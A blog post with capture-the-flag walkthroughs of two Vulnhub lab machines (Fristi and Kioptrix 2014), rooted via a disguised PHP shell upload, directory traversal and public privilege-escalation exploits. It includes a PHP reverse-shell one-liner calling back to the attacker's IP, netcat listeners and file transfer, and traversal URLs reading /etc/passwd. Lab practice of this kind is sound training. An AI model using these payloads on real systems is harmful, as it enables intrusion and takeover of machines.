Author: Melbin Mathew

Hi, Lets see how we rooted Fristi by Ar0xA from Vulnhub.

First Find the IP and do a port scan.

We have only one port open. Lets scan using Nikto and Gobuster.

Now Gobuster.

Visit the pages found. Nothing inetersting. Right?

We need to find something else. Have a look at the following address.

http://192.168.18.80/fristi/

A login page right?

Lets bry breaking it. SQL Injection didnt work. There must be some other ways. Lets have a look at the source code.

<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

Need to look more 🙂 Scroll down to the end.

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Looks like this is base64 encoded. Lets try decoding.

visit https://www.base64decode.org/ for decoding.

Seems like a PNG image? Lets try decoding as an image here: https://base64.guru/converter/decode/image/png

We got an Image.

Hope this is the password. But what about the username? admin? fristi?

they didnt work. Lets try eezeepz.

Yes. We are logged in now. We have a file upload form here. But it accepts only images.

We need to upload a php shell as an image here.

I used this shell

https://github.com/melbinkm/PHPImageShell

Rename the file to shell.php.gif and upload.

Fire up Burpsuite and catch the upload request.

Edit the filename in the request to shell.php.gif and send.

we will get a response as uploaded to uploads directory. Now head to /uploads/shell.php.gif

Now we can set up a listener in our kali machine and connect from this shell.

nc -nlvp 4444

Enter the following command and click Exec.

php -r '$sock=fsockopen("192.168.18.79",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

We got a connection to our Kali machine.

Now its the time for privilege escalation. Use the command uname -a to know the OS version.

Lets search for an exploit.

What about usng this?

https://www.exploit-db.com/exploits/40839

Lets try

Lets download the file using wget.

Time to compile and run the exploit.

Done! we gave a new user firefart with password pass.

Lets see if it is present on /etc/passwd

Yes, Its there at the top. Now lets move to our new account and check our root access.

Yes! we are root now. What about the flag?

Thats all. It took a little more time for me to find the fristi directory, But the privlege escalation part was quick.

In this blog post we will see how to root the Kioptrix 2014 Machine from Vulnhub.

First lets find the IP and open posts in the machine using nmap:

nmap 192.168.18.0-255

Here we have the IP. 192.168.18.76

The post 80 is open so there will be some web server running, lets have a look.

Yes, there is a page. Anything behind that? Lets have a look in the source code.

Here we have ‘pChart2.1.3’. Now we need to know what is pChart. Lets have a quick Google search.

The website http://www.pchart.net/ says it is a php based charting library. Now lets look for any existing vulnerabilities in pChart 2.1.3.

Exploit-DB says there are directory traversal and XSS vulnerabilities in pChart 2.1.3

https://www.exploit-db.com/exploits/31173

Lets try that. by visiting the following page.

http://192.168.18.78/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

We have got the /etc.passwd file displayed on the browser.

Now lets try to read the httpd.conf file.

http://192.168.18.78/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

It works!

When we scroll down to the end, we will find something interesting.

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

</VirtualHost>

If our user agent is Mozilla/4.0, we can connect to port 8080.

Lets try that.

curl -H "User-Agent:Mozilla/4.0" http://192.168.18.78:8080

And the resut is,

We have a hyperlink here, to /phptax/ lets try this on a browser.

I’m using a Firefox extension to switch user agents. Get that here:

https://addons.mozilla.org/en-US/firefox/addon/custom-user-agent-revived/

I’ve installed the extension and activated the custom user agent for our machine.

Now let’s load the page in browser.

Going Inside..

This looks like an app for filling tax forms. Ok. so lets look is there is any known vulnerabilities in this.

According to Exploit-DB, there is an RCE vulnerability in PhpTax.

https://www.exploit-db.com/exploits/21665

Lets try to exploit that with Metasploit.

msfconsole
search phptax

Now lets set the options.

Now enter run to run the exploit.

We got the shell now.

Now use the whoami command to know the current user.

Now use command /bin/sh -i to get a fully interactive shell.

Lets now get the OS version the machine is running.

Use the command uname -a for that.

We are on FreeBSD 9.0. Lets look up online for available exploits.

https://www.exploit-db.com/exploits/28718

We have a privilege escalation exploit at Exploit-DB, Lets try that.

Download the exploit to our Kali machine.

wget https://www.exploit-db.com/download/28718 exploit.c -O exploit.c

Time to send the file to target machine. The target does not have wget or curl. So we will use netcat to transfer the file.

Lets start a listener on our kali machine and send the file on target machine’s /tmp directory.

On target machine,

Now we got the exploit file on our target.

Now lets compile it using gcc.

Time to exploit!

We are root now!